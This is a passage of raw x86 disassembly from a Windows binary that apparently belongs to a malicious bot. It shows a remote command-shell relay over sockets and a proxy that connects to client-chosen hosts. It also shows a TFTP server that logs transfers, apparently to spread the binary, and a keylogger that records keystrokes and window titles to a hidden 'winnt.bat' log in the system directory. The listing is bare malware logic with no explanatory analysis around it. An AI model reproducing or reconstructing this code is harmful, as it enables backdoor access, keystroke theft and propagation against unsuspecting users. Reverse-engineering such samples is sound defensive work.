var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411B44: ; CODE XREF: sub_411B2B+39j ; sub_411B2B+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4E3110 ; recv test eax, eax jle loc_411C49 cmp [ebp+var_10], ebx jbe short loc_411B66 dec [ebp+var_10] jmp short loc_411B44 ; --------------------------------------------------------------------------- loc_411B66: ; CODE XREF: sub_411B2B+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411C29 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411BD6 cmp al, 7Fh jz short loc_411BD6 cmp al, 3 jnz short loc_411B91 push ebx push ebx call ds:dword_4F5400 ; GenerateConsoleCtrlEvent jmp short loc_411BFD ; --------------------------------------------------------------------------- loc_411B91: ; CODE XREF: sub_411B2B+5Aj cmp al, 15h jnz short loc_411BB3 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411BE9 ; --------------------------------------------------------------------------- loc_411BB3: ; CODE XREF: sub_411B2B+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411BEA mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411BE9 ; --------------------------------------------------------------------------- loc_411BD6: ; CODE XREF: sub_411B2B+52j ; sub_411B2B+56j cmp esi, ebx jbe short loc_411C00 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411BE9: ; CODE XREF: sub_411B2B+86j ; sub_411B2B+A9j pop ecx loc_411BEA: ; CODE XREF: sub_411B2B+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4E3148 ; send test eax, eax jle short loc_411C49 loc_411BFD: ; CODE XREF: sub_411B2B+64j mov al, byte ptr [ebp+arg_0+3] loc_411C00: ; CODE XREF: sub_411B2B+ADj cmp al, 0Dh jnz loc_411B44 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call ds:dword_4F53B4 ; WriteFile test eax, eax jz short loc_411C49 xor esi, esi jmp loc_411B44 ; --------------------------------------------------------------------------- loc_411C29: ; CODE XREF: sub_411B2B+47j cmp [ebp+var_C], ebx jnz short loc_411C3A mov [ebp+var_C], 1 jmp loc_411B44 ; --------------------------------------------------------------------------- loc_411C3A: ; CODE XREF: sub_411B2B+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411B44 ; --------------------------------------------------------------------------- loc_411C49: ; CODE XREF: sub_411B2B+2Bj ; sub_411B2B+D0j ... pop edi pop esi pop ebx leave retn sub_411B2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C4E proc near ; DATA XREF: sub_401CC7+2BF8o Source = byte ptr -2D4h var_D4 = dword ptr -0D4h Str = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_40] call dword_4E30F8 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_4E3178 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_456024[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4E3124 ; bind test eax, eax jnz loc_411DF0 push 0Ah push edi call dword_4E3120 ; listen test eax, eax jnz loc_411DF0 push [ebp+var_40] push [ebp+var_D4] call sub_40AF71 pop ecx push eax lea eax, [ebp+Source] push offset asc_44B584 ; "-" push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_30], esi jnz short loc_411D29 push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_409D34 add esp, 14h loc_411D29: ; CODE XREF: sub_411C4E+B9j ; sub_411C4E+172j ... lea eax, [ebp+Source] push eax call sub_415C3F pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_4E318C ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_44B5AC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 19h ; int push eax ; Source call sub_40B756 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_45601C[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_411E53 push esi push esi call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_45602C[ecx], eax jz short loc_411DD0 loc_411DBD: ; CODE XREF: sub_411C4E+180j cmp [ebp+var_28], esi jnz loc_411D29 push 5 call ds:dword_4F534C ; Sleep jmp short loc_411DBD ; --------------------------------------------------------------------------- loc_411DD0: ; CODE XREF: sub_411C4E+16Dj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_44B5F0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_411D29 ; --------------------------------------------------------------------------- loc_411DF0: ; CODE XREF: sub_411C4E+7Bj ; sub_411C4E+8Cj push edi call dword_4E3190 ; closesocket push [ebp+var_40] lea eax, [ebp+Source] push offset asc_44B62C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_411E33 push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_409D34 add esp, 14h loc_411E33: ; CODE XREF: sub_411C4E+1C3j lea eax, [ebp+Source] push eax call sub_415C3F push [ebp+var_3C] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx sub_411C4E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E53 proc near ; DATA XREF: sub_411C4E+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh Dst = byte ptr -4C8h var_C8 = byte ptr -0C8h Str2 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_456024[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_4E30E0 ; select test eax, eax jnz short loc_411ED4 push dword ptr [esi] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_411ED4: ; CODE XREF: sub_411E53+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_4E3110 ; recv test eax, eax jg short loc_411F05 push dword ptr [esi] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_411F05: ; CODE XREF: sub_411E53+98j cmp [ebp+var_4D0], 4 jnz loc_4120FF cmp [ebp+var_4CF], 1 jnz loc_4120FF cmp [ebp+Str2], bl jz short loc_411F9B lea eax, [ebp+Str2] push eax ; Str2 lea eax, [ebp+Dst] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_411F9B lea eax, [ebp+Str2] push eax lea eax, [ebp+Dst] push eax ; Args push offset dword_44B660 ; Format call sub_415CB3 push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call _memset add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E3148 ; send push dword ptr [esi] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_411F9B: ; CODE XREF: sub_411E53+CFj ; sub_411E53+E5j push 10h ; Size lea eax, [ebp+var_18] push ebx ; Val push eax ; Dst call _memset mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_4E3178 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_412033 call dword_4E308C ; WSAGetLastError push eax ; Args push offset dword_44B6A0 ; Format call sub_415CB3 push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E3148 ; send push dword ptr [esi] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_412033: ; CODE XREF: sub_411E53+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_4E30A0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4120A2 call dword_4E308C ; WSAGetLastError push eax ; Args push offset dword_44B6E0 ; Format call sub_415CB3 push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E3148 ; send push dword ptr [esi] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_4120A2: ; CODE XREF: sub_411E53+1F0j push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call _memset add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E3148 ; send push dword ptr [esi] push edi call sub_412117 pop ecx pop ecx push edi call dword_4E3190 ; closesocket push dword ptr [esi] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_4120FF: ; CODE XREF: sub_411E53+B9j ; sub_411E53+C6j push dword ptr [esi] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread sub_411E53 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412117 proc near ; CODE XREF: sub_411E53+286p Dst = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_41212D: ; CODE XREF: sub_412117+C5j ; sub_412117+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_412145: ; CODE XREF: sub_412117+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_412155 inc ecx add eax, 4 cmp ecx, 1 jb short loc_412145 loc_412155: ; CODE XREF: sub_412117+33j cmp ecx, 1 jnz short loc_41216A mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_41216A: ; CODE XREF: sub_412117+41j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4E30E0 ; select lea eax, [ebp+var_104] push eax push ebx call dword_4E2FE4 ; __WSAFDIsSet test eax, eax jz short loc_4121CA push edi lea eax, [ebp+Dst] push esi push eax push ebx call dword_4E3110 ; recv cmp eax, 0FFFFFFFFh jz short loc_412212 push edi push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jz short loc_412212 loc_4121CA: ; CODE XREF: sub_412117+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4E2FE4 ; __WSAFDIsSet test eax, eax jz loc_41212D push edi lea eax, [ebp+Dst] push esi push eax push [ebp+arg_0] call dword_4E3110 ; recv cmp eax, 0FFFFFFFFh jz short loc_412212 push edi push eax lea eax, [ebp+Dst] push eax push ebx call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jnz loc_41212D loc_412212: ; CODE XREF: sub_412117+9Aj ; sub_412117+B1j ... pop edi pop esi pop ebx leave retn sub_412117 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412217 proc near ; CODE XREF: sub_412217:loc_412688p ; DATA XREF: sub_401CC7+20FEo ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = dword ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h DstBuf = byte ptr -574h var_374 = dword ptr -374h Filename = byte ptr -370h Str = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh Dest = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h Dst = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi push edi push 1 xor ebx, ebx pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4E3178 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4122B7 push 190h call ds:dword_4F534C ; Sleep cmp [ebp+var_D8], ebx jnz short loc_412297 push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409D34 add esp, 14h loc_412297: ; CODE XREF: sub_412217+5Bj lea eax, [ebp+var_778] push eax call sub_415C3F push [ebp+var_168] call sub_40BA72 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_4122B7: ; CODE XREF: sub_412217+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4E30D8 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4E30D8 ; setsockopt mov eax, [ebp+var_168] push 10h ; Size imul eax, 234h push ebx ; Val mov dword_456024[eax], esi lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_160] call dword_4E30F8 ; htons mov [ebp+var_2A], ax lea eax, [ebp+Dst] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4E3124 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412341 push 1388h call ds:dword_4F534C ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_412688 ; --------------------------------------------------------------------------- loc_412341: ; CODE XREF: sub_412217+10Fj lea eax, [ebp+Filename] push offset aRb_0 ; "rb" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_4123A7 push 190h call ds:dword_4F534C ; Sleep push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409D34 lea eax, [ebp+var_778] push eax call sub_415C3F push [ebp+var_168] call sub_40BA72 add esp, 1Ch push ebx call ds:dword_4F53A0 ; ExitThread loc_4123A7: ; CODE XREF: sub_412217+142j ; sub_412217+42Bj mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_41264B mov edi, 80h lea eax, [ebp+var_D0] push edi ; Size push ebx ; Val push eax ; Dst mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call _memset add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4E30E0 ; select test eax, eax jle loc_41263F mov al, byte_4E5EA4 mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4E30D0 ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call dword_4E3184 ; inet_ntoa push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_412629 cmp [ebp+var_CF], 1 jnz loc_41252F lea eax, [ebp+Str] push eax ; Str call _strlen push ebx ; Origin push ebx ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h ; Count push 1 ; ElementSize push eax ; DstBuf mov [ebp+var_576], bl mov [ebp+var_575], 1 call sub_41E3E0 add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4E315C ; sendto lea eax, [ebp+Dest] push eax lea eax, [ebp+var_778] push offset aTftpTransferSt ; "Tftp transfer started to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_41251D push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409D34 add esp, 14h loc_41251D: ; CODE XREF: sub_412217+2E1j lea eax, [ebp+var_778] push eax call sub_415C3F pop ecx jmp loc_41263F ; --------------------------------------------------------------------------- loc_41252F: ; CODE XREF: sub_412217+257j cmp [ebp+var_CF], 4 jnz loc_412629 mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_41256C inc al xor cl, cl mov [ebp+var_576], al mov [ebp+var_575], bl jmp short loc_41257A ; --------------------------------------------------------------------------- loc_41256C: ; CODE XREF: sub_412217+341j inc cl mov [ebp+var_576], al mov [ebp+var_575], cl loc_41257A: ; CODE XREF: sub_412217+353j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx mov edi, 200h shl eax, 9 sub eax, edi push ebx ; Origin push eax ; Offset push [ebp+File] ; File call _fseek push [ebp+File] ; File lea eax, [ebp+DstBuf] push edi ; Count push 1 ; ElementSize push eax ; DstBuf call sub_41E3E0 add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4E315C ; sendto cmp edi, ebx jnz short loc_41263F lea eax, [ebp+Dest] push eax lea eax, [ebp+var_778] push offset aTftpTransferCo ; "Tftp transfer complete to: %s" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_412614 push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409D34 add esp, 14h loc_412614: ; CODE XREF: sub_412217+3D8j lea eax, [ebp+var_778] push eax call sub_415C3F inc dword_4E5C14 pop ecx jmp short loc_41263F ; --------------------------------------------------------------------------- loc_412629: ; CODE XREF: sub_412217+24Aj ; sub_412217+31Fj push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_44B770 push esi call dword_4E315C ; sendto loc_41263F: ; CODE XREF: sub_412217+1E9j ; sub_412217+313j ... cmp [ebp+var_8], ebx jg loc_4123A7 mov edi, [ebp+arg_0] loc_41264B: ; CODE XREF: sub_412217+199j push esi call dword_4E3190 ; closesocket push [ebp+File] ; File call _fclose dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_41267C push [ebp+var_168] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_41267C: ; CODE XREF: sub_412217+450j push 3E8h call ds:dword_4F534C ; Sleep push edi loc_412688: ; CODE XREF: sub_412217+125j call sub_412217 pop edi pop esi pop ebx leave retn 4 sub_412217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_412694(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_412694 proc near ; CODE XREF: sub_412775+B4p ; sub_412775+253p Dest = byte ptr -314h Filename = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call ds:dword_4F5404 ; GetLocalTime lea eax, [ebp+Filename] push 104h push eax call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+Filename] push offset asc_44BEEC ; "\\" push eax ; Dest call _strcat lea eax, [ebp+Filename] push offset aWinnt_bat ; "winnt.bat" push eax ; Dest call _strcat lea eax, [ebp+Filename] push offset aAb ; "ab" push eax ; Filename call _fopen mov esi, eax add esp, 18h test esi, esi jnz short loc_4126FB push 1 pop eax jmp short loc_412772 ; --------------------------------------------------------------------------- loc_4126FB: ; CODE XREF: sub_412694+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi ; File call _fprintf push esi ; File call _fclose add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_412770 push [ebp+arg_0] lea eax, [ebp+Dest] push offset asc_44BF10 ; "-" push 200h ; Count push eax ; Dest call __snprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 24h loc_412770: ; CODE XREF: sub_412694+A3j xor eax, eax loc_412772: ; CODE XREF: sub_412694+65j pop esi leave retn sub_412694 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412775 proc near ; DATA XREF: sub_401CC7+4500o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h Dest = byte ptr -4DCh var_2DD = byte ptr -2DDh Dst = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_4E307C ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4E3094 ; GetWindowTextA mov ebx, 200h loc_4127D0: ; CODE XREF: sub_412775+2C7j push 8 call ds:dword_4F534C ; Sleep call dword_4E307C ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_412858 lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_4E3094 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax ; int lea eax, [ebp+Dest] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax ; int call _sprintf sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+Dest] push 25h pop ecx mov edi, esp push eax ; int rep movsd call sub_412694 mov [ebp+var_4], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0A4h lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch loc_412858: ; CODE XREF: sub_412775+6Cj mov [ebp+arg_0], offset dword_44B784 loc_41285F: ; CODE XREF: sub_412775+2BDj push 10h call dword_4E2FCC ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_4E30C4 ; GetAsyncKeyState test ah, 80h jz short loc_4128F7 push 14h call dword_4E2FCC ; GetKeyState test ax, ax jz short loc_4128A8 cmp esi, 0FFFFFFFFh jle short loc_4128A8 cmp edi, 40h jle short loc_4128A8 cmp edi, 5Bh jge short loc_4128A8 mov [ebp+edi*4+var_8DC], 1 jmp loc_412A27 ; --------------------------------------------------------------------------- loc_4128A8: ; CODE XREF: sub_412775+112j ; sub_412775+117j ... push 14h call dword_4E2FCC ; GetKeyState test ax, ax jz short loc_4128D3 test esi, esi jge short loc_4128E7 cmp edi, 40h jle short loc_4128D3 cmp edi, 5Bh jge short loc_4128D3 mov [ebp+edi*4+var_8DC], 2 jmp loc_412A27 ; --------------------------------------------------------------------------- loc_4128D3: ; CODE XREF: sub_412775+13Ej ; sub_412775+147j ... test esi, esi jge short loc_4128E7 mov [ebp+edi*4+var_8DC], 3 jmp loc_412A27 ; --------------------------------------------------------------------------- loc_4128E7: ; CODE XREF: sub_412775+142j ; sub_412775+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_412A27 ; --------------------------------------------------------------------------- loc_4128F7: ; CODE XREF: sub_412775+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_412A27 and dword ptr [eax], 0 lea eax, [ebp+Dst] cmp edi, 8 push eax ; Str jnz short loc_41292F call _strlen and [ebp+eax+var_2DD], 0 pop ecx jmp loc_412A27 ; --------------------------------------------------------------------------- loc_41292F: ; CODE XREF: sub_412775+1A5j call _strlen cmp eax, 1B9h pop ecx jbe short loc_412961 call dword_4E307C ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4E3094 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4129A2 ; --------------------------------------------------------------------------- loc_412961: ; CODE XREF: sub_412775+1C5j cmp edi, 0Dh jnz loc_4129F9 lea eax, [ebp+Dst] push eax ; Str call _strlen test eax, eax pop ecx jz loc_412A27 call dword_4E307C ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_4E3094 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+Dst] push eax ; int push offset aSReturnS ; "%s (Return) (%s)" loc_4129A2: ; CODE XREF: sub_412775+1EAj lea eax, [ebp+Dest] push eax ; int call _sprintf sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+Dest] push 25h pop ecx mov edi, esp push eax ; int rep movsd call sub_412694 mov [ebp+var_4], eax push ebx ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0A4h lea eax, [ebp+Dest] push ebx ; Size push 0 ; Val push eax ; Dst call _memset add esp, 0Ch jmp short loc_412A27 ; --------------------------------------------------------------------------- loc_4129F9: ; CODE XREF: sub_412775+1EFj cmp esi, 1 jz short loc_412A12 cmp esi, 3 jz short loc_412A12 cmp esi, 2 jz short loc_412A0D cmp esi, 4 jnz short loc_412A27 loc_412A0D: ; CODE XREF: 